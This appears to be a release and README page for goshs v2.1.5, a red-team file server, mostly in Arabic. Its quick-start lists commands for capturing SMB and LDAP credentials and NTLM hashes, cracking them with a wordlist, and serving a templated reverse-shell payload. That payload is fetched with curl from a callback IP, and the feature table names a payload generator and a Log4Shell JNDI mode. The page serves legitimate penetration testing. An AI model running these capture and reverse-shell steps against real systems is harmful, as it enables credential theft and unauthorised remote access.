العودة إلى التحديثات
New releaseAug 2, 2026

goshs v2.1.5

خادم ملفات غني بالميزات في ملف ثنائي واحد لمختصي الفريق الأحمر والمطورين. HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks · TLS · Auth · Share links. بديل قوي لأمر python3 -m http.server.

مشاركة

Version GitHub License GitHub go.mod Go version GitHub issues Downloads Stars goreleaser codecov OpenSSF Scorecard OpenSSF Best Practices

goshs-logo

أنت في منتصف مهمة. تحتاج إلى نقل ملف، أو التقاط تجزئة SMB، أو إعداد خادم HTTPS سريع — و python3 -m http.server لن يفي بالغرض.

goshs هو خادم ملفات ثنائي واحد، صُمم للحظات التي تحتاج فيها إلى أكثر من SimpleHTTPServer الخاص بـ Python ولكنك لا تريد تكوين Apache. HTTP/S، WebDAV، FTP/SFTP، SMB، LDAP/S، المصادقة الأساسية، روابط المشاركة، استدعاءات DNS/SMTP، التقاط تجزئة NTLM + كسرها — كل ذلك من أمر واحد.

مقدمة

لقطة شاشة goshs - فاتح لقطة شاشة goshs - داكن

عرض توضيحي

جربها بنفسك: demo.goshs.de

عرض goshs التوضيحي

بداية سريعة

# Serve the current directory on port 8000
goshs

# Serve with HTTPS (self-signed) and basic auth
goshs -s -ss -b user:password

# Capture SMB hashes
goshs -smb -smb-domain CORP

# Capture LDAP credentials and NTLM hashes (with optional wordlist cracking)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt

# Catch DNS callbacks and receive emails
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com

# Self-destruct after 2 hours
goshs --ttl 2h

# Run with the interactive terminal dashboard (great for headless SSH sessions)
goshs --tui

# Serve payloads that auto-fill your callback host/port at download time
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# fetch rendered: curl 'http://10.10.14.7:8000/rev.ps1?tpl'

توثيق

للحصول على توثيق مفصل، انتقل إلى docs.goshs.de

الميزات

📁 عمليات الملفاتالتنزيل (قابل للاستئناف والبحث عبر HTTP Range)، الرفع (سحب وإفلات، POST/PUT)، الحذف، ZIP بالجملة، رموز QR
🔌 البروتوكولاتHTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S
🔒 المصادقة والأمانالمصادقة الأساسية، مصادقة الشهادة، TLS (موقّع ذاتيًا، Let's Encrypt، شهادة مخصصة)، القائمة البيضاء لعناوين IP، قوائم التحكم بالوصول المستندة إلى الملفات
⚙️ أوضاع الخادمللقراءة فقط، للرفع فقط، بدون حذف، صامت، غير مرئي، تنفيذ أوامر CLI، تدمير ذاتي بعد TTL
🔗 روابط المشاركةالمشاركة المستندة إلى الرمز المميز، حد التنزيل، حد الوقت
🎯 التعاون / CTFخادم DNS، خادم SMTP، التقاط تجزئة NTLM لـ SMB + كسرها، التقاط بيانات اعتماد LDAP + كسر تجزئة NTLM (وضع JNDI لـ Log4Shell)، نقطة نهاية إعادة التوجيه، التقاط الصدفة العكسية + مولد الحمولة
🧩 قولبة الحمولةعرض قيم {{.LHOST}}/{{.LPORT}} + قيم --tpl-var المخصصة في الملفات المقدمة عند الطلب (?tpl)
🔔 التكاملخطافات الويب، النفق عبر localhost.run، ملف التكوين، واجهة برمجة تطبيقات JSON، mDNS
🖥️ لوحة تحكم TUIلوحة تحكم طرفية تفاعلية بملء الشاشة؛ أجزاء حية لـ HTTP و DNS و SMB و LDAP و SMTP والصدف العكسية والحافظة؛ إرفاق وترقية الصدف من الطرفية
🛠️ متنوعسمات داكنة/فاتحة، حافظة، تحديث ذاتي، إخراج السجل، تضمين الملفات، إسقاط الامتيازات

التثبيت

Method
🐧 curl | shcurl -sSfL https://goshs.de/install.sh | sh
🦫 Gogo install goshs.de/goshs/v2@latest
🐉 Kali و Parrot OSsudo apt install goshs
🎗️ Arch Linux (AUR)yay -S goshs-bin
🖤 BlackArchpacman -S goshs
🏔️ Alpine Linux (edge)apk add goshs
🫙 Snapsnap install goshs
🎩 Fedora / RHEL (COPR)dnf copr enable goshs-labs/goshs && dnf install goshs
🦎 openSUSEsudo zypper install goshs
❄️ Nix / NixOSnix-env -iA nixpkgs.goshs
🍺 Homebrewbrew install goshs
🪟 Scoopscoop bucket add extras && scoop install extras/goshs
🪟 wingetwinget install GoshsLabs.Goshs
🍫 Chocolateychoco install goshs
🐳 Dockerdocker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd
📦 الإصدارDownload from GitHub Releases
🐚 إكمال الصدفة

يمكن لـ goshs تثبيت إكمال علامات التبويب لـ bash و fish و zsh:

goshs --completion bash
goshs --completion fish
goshs --completion zsh

On macOS with Homebrew the correct Homebrew path is used automatically. بعد التثبيت، يطبع الأمر تعليمات تنشيط دقيقة، على سبيل المثال:

source ~/.local/share/bash-completion/completions/goshs
🔧 البناء بنفسك

أصول الويب المرفوعة تم إيداعها، لذا فإن البناء البسيط يعمل فقط:

git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .

إذا قمت بتغيير مصادر JavaScript أو SCSS، فأعد بناء الأصول أولاً باستخدام esbuild و sass المثبتين:

make generate
go build -o goshs .

مساهمو الكود

Contributors

مساهمو الأمان

هؤلاء هم المساهمون الرائعون الذين جعلوا goshs أكثر أمانًا ❤️

المجتمع

انضم إلى مجتمع Discord وابدأ في التواصل.

Join Discord

تاريخ النجوم

Star History Chart

الشكر والتقدير

شكر خاص لـ sc0tfree لإلهامه هذا المشروع بمشروعه updog المكتوب بلغة Python.

الفئات